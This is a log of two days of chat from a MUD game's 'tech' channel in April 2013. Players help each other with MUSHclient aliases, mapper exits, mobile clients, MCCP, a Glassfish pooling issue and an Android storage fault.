T3/r7/2013-04-15.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: That did not parse right...
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto rapidly nods twice, in complete agreement.
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: It did in HTML 4 :-P
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Tech: maybe he got his degree at a college which is in delphi }:>
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: There's a free gcc compilers for windows. Dev-Bloodshed is one.
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: mis
T3/r7/2013-04-15.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Wasn't there a Dev-C++ some time ago?
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: iirc it's Dev-Bloodshed but does c/c++
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Dev-C++ is ok - but for any dev work with C++ on windows you are daft if you don't use VS
T3/r7/2013-04-15.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Some time ago meaning about 1995-1998...
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Grissom Tech: and how is visual literacy
T3/r7/2013-04-15.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: I boot off a Ubuntu USB and use vim for editing. Then I reboot to compile in VS :P
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You can use VIM on windows...
T3/r7/2013-04-15.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: But not ssh and irssi and tmux as easily :P
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Anyone here have any experience with a Python-Based Django Server running as a nginx -> gunicorn -> flask application using the requests library to POST PDF files?
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Tech: putty ftw
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Tech: Putt-Putt Putty resorts to cheering for himself... how sad.
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Tech: plenty of ported tools, or can use cygwin rather than dual-boot (or even a VM)
T3/r7/2013-04-15.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: That's OK, I would just rather stay off Windows entirely.
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: i can see the pdf being posted in ngrep, but when I do upload = request.files.get('file') if not upload: abort(400, "foobar") it'll always exit with 400
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Tech: heh, they do that at work, but I'm not involved
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Annubis Tech: where can i download bbssh
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Anyone had any luck with embedding conditionals into the aardmush cexit system? For example, I'd like to have a cexit in qong that opens the door if my hasQongKey variable is true, if not I want it to tell the mapper that there is no cexit defined.
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Trachx Tech: I think you could add / remove cexit basing on whether hasQong is set or not
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Too many potential issues with that. I'll just add my own extension to the mapper cexit protocol
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Trachx Tech: I mean there I don't know whether there is such function but is seems quite easy to implement
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Tech: shouldn't need an extension, just make an alias to open it
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Trachx Tech: still, cexit is just extension that connects 2 rooms
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Trachx Tech: so you rather should create / delete cexit than consider it conditional 
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I need the mapper to know though which path to take automagically, so it'll know what room for sure that cexit leads too. I don't want it to 'think' it's going to end up north of the door, and instead end up in the center when I have to 'grok earth' and continue the run from the wrong room
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Tigernuts Tech: anyone here familiar with Glassfish/Oracle web server and/or database connection pooling?
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Vaguely, TN
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Tech: nodnod, I hadn't read thoroughly enough...you can have the cexit do one thing or another, you can't have the cexit exist or not
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: nods, which is why I think I'll need to extend the built-in functionality a bit.
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Tech: it wouldn't be in cexit logic, though
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Tigernuts Tech: been trying to set up connection pooling with a maximum connection pool size of 32, yet it happily creates many many more database processes, which are mapped onto connections normally with a 1:1 ratio
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Tigernuts Tech: which suggests pooling either doesn't do what i think it does, or isn't working
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: isn't glassfish pooling just the default number of instances created, and more are spawned as-needed?
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Tigernuts Tech: supposed to be a starting number, and more created as needed up to a maximum
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: And so it's creating > than specified starting point?
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Tigernuts Tech: i'm pulling the number of processes out of the database end, and yes, starts at 8, which tallies with the db, but when you run some jmeter testing of the app, the database reports an ever increasing number of processes
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Tigernuts Tech: which is an issue for us, because there's a limit to the number of processes the database can support
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Tech: Helperful Cheezburger goes, "Hmmmm."
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Tigernuts Tech: to all intents and purposes, the symptoms suggest that other than setting the initial pool size, glassfish is ignoring the pooling being enabled at all
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I haven't seen it do that before, but it's been a while since I last played with glassfish.
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Typically it pretty strictly followes it's min/max configs though, you're sure you have the upper bound set?
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Tigernuts Tech: nod
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: /ObligatoryWellDuhQuestion
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Annubis Tech: why does my bbssh not want to scroll up and down?
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: cuz it's a terminal :P
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Annubis Tech: i mean i can't read what is going on can't scroll up, but with my bbssh it scrolls up when i set my friends one up it did not scroll so that i can read the rest of the text
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Annubis Tech: who can help me with my bbssh problem
T3/r7/2013-04-15.txt.gz:{chan ch=tech}The River Styx Tech: I can help, use a different client.
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Haeloa Tech: How do you enable short score on tick?
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Jhav Tech: tickinfo
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Haeloa Tech: thank you much
T3/r7/2013-04-15.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: anyone good with mushclient send me a tell pls?
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Mye Tech: but then nobody else learns
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Tech: (Overlord) Onslaught shrugs helplessly.
T3/r7/2013-04-15.txt.gz:{chan ch=tech}JunkInThe Torunkes Tech: the dumber the question the more welcome they are, really
T3/r7/2013-04-15.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: okay... unlike zmud where I could make an alias and then use it to cast spells on either current fighting mobs or other mobs using keynames, mush seems to only recognize the alias without a following argument
T3/r7/2013-04-15.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I only enjoy the really dumb ones
T3/r7/2013-04-15.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: any way around this without using something more complicated?
T3/r7/2013-04-15.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: end your alias in * and then use "%1"
T3/r7/2013-04-15.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: and if there's no argument, it'll still work?
T3/r7/2013-04-15.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: if you're smart about it
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Haeloa Tech: yeah zmud has a lot of helpful systems in use like chain, alias, and ingame triggers
T3/r7/2013-04-15.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: if I'm smart about it?
T3/r7/2013-04-15.txt.gz:{chan ch=tech}JunkInThe Torunkes Tech: i wish mush had triggers, sigh
T3/r7/2013-04-15.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: uh, mush DOES have triggers
T3/r7/2013-04-15.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: what's an "ingame trigger"?
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Haeloa Tech: yes, they allow you to set triggers in the mud
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Tech: Daesilme hands Torunkes his sarcasm sign.
T3/r7/2013-04-15.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I like this one. It's really dumb.
T3/r7/2013-04-15.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Haeloa: you're making me enjoy my time here
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Aizma Tech: Be nice...
T3/r7/2013-04-15.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: ok so if I use * and %1 I can use an argument, but I can't use it alone.. so I'll have to use an argument every time when it wouldn't be necessary to do so if I just want to blind the current mob, for example
T3/r7/2013-04-15.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: you're right, I'm sorry
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Haeloa Tech: haha
T3/r7/2013-04-15.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: you can use * without any space before it, then Trim("%1")
T3/r7/2013-04-15.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: though who says you can't use it alone?
T3/r7/2013-04-15.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: I just tried it
T3/r7/2013-04-15.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I'm pretty sure that an alias pattern of "pattern*" will also match on just "pattern"
T3/r7/2013-04-15.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: if I use "ban *" for a banishment alias, I HAVE to use "ban mobname"
T3/r7/2013-04-15.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: if I just use "ban" for current mob, it doesn't work
T3/r7/2013-04-15.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: what did I just say about the space?
T3/r7/2013-04-15.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: and trim?
T3/r7/2013-04-15.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: and trim
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Doink Tech: mud side alias's are nice for simple stuff like that
T3/r7/2013-04-15.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: does trim go in the alias or the output?
T3/r7/2013-04-15.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: except there's a limit
T3/r7/2013-04-15.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: really, trim isn't necessary
T3/r7/2013-04-15.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: and I've reached it
T3/r7/2013-04-15.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: it's necessary if he wants to remove the space
T3/r7/2013-04-15.txt.gz:{chan ch=tech}JunkInThe Torunkes Tech: hint never put something in where output is expected.
T3/r7/2013-04-15.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: in this case he doesn't need to though, fiendish
T3/r7/2013-04-15.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I don't know what he wants to do
T3/r7/2013-04-15.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: he said what he wants to do...
T3/r7/2013-04-15.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: ok.. no space works, no trim required
T3/r7/2013-04-15.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: thanks
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Doink Tech: switch of the old mudsides to mush to make space for attack/maledict alias
T3/r7/2013-04-15.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: so just "ban*" and "c 'banishment' %1" will work with or without an argument
T3/r7/2013-04-15.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: thanks for the patience
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Mye Tech: quickly testing, if regular expression is checked, "xxx *" will match just "xxx" but without it checked "xxx *" will not match "xxx"
T3/r7/2013-04-15.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: also for a simple alias like this, Doink is correct. a mudside alias will work better
T3/r7/2013-04-15.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: well, not better, but the same
T3/r7/2013-04-15.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: well I already have mudside aliases maxed
T3/r7/2013-04-15.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: oh
T3/r7/2013-04-15.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: or I would
T3/r7/2013-04-15.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: I was good scripting zmud... feel like an idiot again... more so than usual that is
T3/r7/2013-04-15.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: anyway, thanks again... channel going back off :p
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Zarra Tech: anyone know how to prevent the random removal of my SD card in my android phone?
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: superglue
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Ophelion Tech: duct tape or glue?
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Ophelion Tech: make sure it's extra strength too
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Zarra Tech: it doesnt have an actual removeable card...just says the card is removed,  and then i cant use my camera or accees pics until it comes back
T3/r7/2013-04-15.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: that's a file system bug
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Ranrr Tech: Upgrade the sw in the phone. If that doesn't work, it's probably a hardware issue.
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Zarra Tech: can i fix it?
T3/r7/2013-04-15.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: you probably need to replace your sd card. Android automatically unmounts the card after an IO error
T3/r7/2013-04-15.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I had the same problem on my Droid 1 after a few years
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Zarra Tech: it doesnt have a physical card..
T3/r7/2013-04-15.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: oh, I see. internal storage
T3/r7/2013-04-15.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: man that sucks
T3/r7/2013-04-15.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: still an IO error
T3/r7/2013-04-15.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: is it new?
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Zarra Tech: had it about a year
T3/r7/2013-04-15.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: probably not under warranty then
T3/r7/2013-04-15.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: have you rooted your phone?
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Aizma Tech: Only malicious hackers do that.
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Zarra Tech: rooted?
T3/r7/2013-04-15.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: your question indicates that the answer is probably no
T3/r7/2013-04-15.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: just checking
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Zarra Tech: i have signs of hackers...stealing singular photosand then putting them back in pairs
T3/r7/2013-04-15.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: anyway, this problem happened to me. I don't think there is actually a fix for it. You *might* try a factory reset if you don't mind wiping everything.
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Redryn Tech: have you tried googling the symptoms? i've read that stuff like that can be a sign your card is failing
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Tech: The Jerk Fiendish sighs.
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Zarra Tech: i bore the fbi....i think its the deadheads.
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Zarra Tech: i will have a laptop again! hopefully soon :p
T3/r7/2013-04-15.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: a friend of mine once thought he bored the fbi. now he's dead.
T3/r7/2013-04-15.txt.gz:{chan ch=tech}Zarra Tech: they told me i was boring....but they stole from me...the blood sugar wrist monitor and the insulin cooler
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Lorken Tech: question does anyone know if you can change the xrt room for a specific area using mapper?  the nenukon room always gives me an error when i try to xrt to it as it tries to put me in the middle of the maze :( - have to recall and rt which is annoying
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Kalsch Tech: anyone here use us cellular as their cell carrier?
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Slyzora Tech: nope not me
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Tech: heh, never even heard of them
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Ranrr Tech: there are probably hundreds or even thousands of carriers world wide....
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Tech: and looking at tech -h, for lorken's question, xrt isn't part of the mapper at all...it's part of winklewinkle's plugin...type xset help for details
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Tech: I'm presuming by the name that they're a Merkin carrier
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Nuanse Tech: ww help throws out all winklewinkles plugin helps
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Tepeyollotl Tech: Can anyone tell me how in MUSH to have hide and sneak which are two of my race abilities, re-enable as per bast's spellup even tho until i remort i will not be able to practice said abilities?
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Grissom Tech: why do my  tags get turned  on every time i play on my phone but on  my pc it doesnt happean
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Lorken Tech: did you just try hide and sneak
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Makala Tech: your pc client likely turns them on then gags them, whereas your phone still has them on but does not gag them
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Tepeyollotl Tech: aye, that does work, just been spoiled having a plugin do it for me i guess. :)
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Grissom Tech: i see
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Lorken Tech: set a trigger to the welcome screen do do it for you :)
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Vonliege Tech: for the numberpad... is there any way to get CTRL+Shift or CTRL+ALT commands mapped?
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Vonliege Tech: using aardmush, BTW
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Not easily. What i did to simulate it, was to assign aliases to kp_1, kp_2, etc and then have an if-check inside those aliases for what sort of functionality to have. So for example if my DoCharge variable is true, then instead of going north, it will char north
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Vonliege Tech: looks like it's just a tad ouside my "feel good" zone.
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Vonliege Tech: thanks, though.
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Vonliege Tech: I use the crap outa the ctrl settings... a shame that there isn't a box for ctrl, ctrl+shift AND ctrl+alt+shift
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: It's not that hard. Modify it instead of sending north, send kp_8, and then add an alias called kp_8 that does if not DoCharge then Send('north') else Send("charge north") end
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Or whatever functionality you want as the alternate.
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Vonliege Tech: what I need is similar... I want regular to be north... CTRL+8 to be 'open north;n", and for 'CTRL+8' to be 'mapper cexit open n;n'
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: it's not the best solution, but why not just have it send open anyways? The command doesn't have lag on it.
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Vonliege Tech: it's the mandetory delay for 'mapper cexit' that keeps me from having it map every time I open a door... min is 2 sec
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Vonliege Tech: OH!
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Tech: the delay isn't on using a cexit
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Huh?
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Vonliege Tech: I see what your getting at
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Tech: it'll go through as quickly as commands can be sent when you're using mapper goto
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Vonliege Tech: instead of just havin g '8' go north, it 'open n
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: op n;n, but yeah
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Vonliege Tech: got it... not elegant... but it will work
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Vonliege Tech: thanks
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Vonliege Tech: there is a little bit of lag when manually walking
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Vonliege Tech: extra stuff to parse, I guess
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Tech: no there isn't
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Vonliege Tech: you were tracking the issue earlier?
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Tech: go to vidblain, type "run 50e" and time that, then make an alias that sends e 50 times and time that
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Tech: iirc the mapper only uses individual commands and doesn't group into runs as well
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Vonliege Tech: I don't doubt that the server executes the command just as fast... I believe the delay (and it's microscopic) is having to send and echo "open south - south - there is no door to the south of here" as opposed to "s"  that's alot more characters
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Tech: the number of characters don't matter as they're not serialized, and they're less time than a round-trip communication
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Vonliege Tech: and CRs as well... not bad for one or two moves, but if I whack in a bunch of moves from memory, the delay adds up.
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Tech: then you've got something wrong on your end, since the delay doesn't exist in the base client, at the server, or anywhere in between
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Vonliege Tech: I'm still working with it... I may not even notice or care in a few hours
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Abe, his solution will lag a bit. "op n" doesn't have any lag on it, but it does take the MUD time to process that before the "n" following it.
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: So since his keypad to go north does "op n;n" instead of just "n", yes it will be slowly, but only marginally.
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I think the open command was checked to have a .1s lag time
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Tech: not regarding manual vs non-manual no
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Tech: which was the lag-based claim
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Tech: there are not more-or-less-efficient ways to perform that
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Then i misread what he was referring to. I thought he was continuing on the same topic as previously.
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Tech: everything on the MUD is performed in 1/8th second increments
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: IE, pulses
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Vonliege Tech: I was, Cheeze...
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Tech: same topic, different statement
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: So, you're saying that "op n;n" is slower than "n", or that "run 10e" is slower than #10 e
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: There was supposed to be a question mark at the end of that.
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Vonliege Tech: I meerly observed that it takes longer to execute "open X
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Yes, as it should. but it's very marginal.
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Vonliege Tech: I meerly observed that it takes longer to execute "open X;X" than it does to execute "X"
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Tech: op n;n is slower than n, but that's not "there's a little bit of lag when manually walking"
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: run is faster than the equivalent move commands, and open has a lag greater than 0, so x + open > x by definition
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Twisting FatesDagger Tech: that's childhood's end.
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Twisting FatesDagger Tech: mis
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Tech: run is not faster than the equivalent move commands
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Yeah, #10 e is the same as run 10e
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Within a hundreth of a second, in fact.
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Tech: test it large-scale in vidblain, with multiple runs
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: That .01 second could very well just be latency on my end, though
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Tech: you'll have more than .01 second differences doing the test 3 times using the same command, so yeah, it'd be jitter
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Slyzora Tech: what does the http proxy mode do? i got two options  namely PERSISTANT and Transient.. if i select one i must type in HTTP Proxy host in a bar beneath it.. I'm using bbssh
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Tech: you likely don't want any http proxy mode
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: If you're not sure what it is, you probably don't need it :P
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Slyzora Tech: won't i get bonus qp from mccp if i do?
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Vonliege Tech: zz
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Vonliege Tech: MT
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Slyzora Tech: lol (:
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Ayasinda Tech: I agree on both of you but what does it do?
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: mccp != http proxty
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: proxy*
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Tech: no, you'll get bonus QPs from mccp if you use mccp, not if you use an http proxy
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Slyzora Tech: what can i type in proxy host name?
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Slyzora Tech: oh ok ty
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Tech: the only thing to type into that field is what your cell provider tells you to put there
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Tech: they probably don't have anything set up for it, so nothing
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Slyzora Tech: nah I'm happy the way my game runs :) just thought i could get bonys qp
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Tech: you could run an mccp proxy to get the bonus QPs, but that still would not be put into the http proxy field
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Tech: you'd install and run that mccp proxy program on a computer that you own/control, and would put that into the address instead of aardmud.org to connect
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Slyzora Tech: can i run mccp on cell?
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Slyzora Tech: i don't got a computer, can ylu get that adress for me?
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Not really, no. There's ways, but they are not easy to set up.
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Tech: that address would be wherever you have it running
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I think some phone mud clients have mccp though, such as iMud and Blowtorch
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Tech: there's not an address other than one that you would end up providing to yourself
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Slyzora Tech: ok ty i understand I'll try to get a new client 
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Ranrr Tech: There is really no reason why a phone client couldn't do mccp. It "just" needs to be implemented.
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Tech: yes, there are a number of cell MUD client apps which support mccp, but none for blackberry that I know of
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Tech: Helperful Cheezburger . o O ( That's what you get for going blackberry :P )
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Slyzora Tech: lol (: very cheap internet :) bb playbook
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Ranrr Tech: Aren't blackberries only used in weird countries, like canada? :P
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Meh, the bb10 has a fair bit of sales in US still
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: its techically blackberry's as its a proper noun
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Not like an iphone release, but still used.
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Tech: proper noun doesn't change pluralization rule
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Not an Imm Erikson Tech: That doesn't mean they're _used_, just sold  ;p
T3/r7/2013-04-16.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Fair point ;P
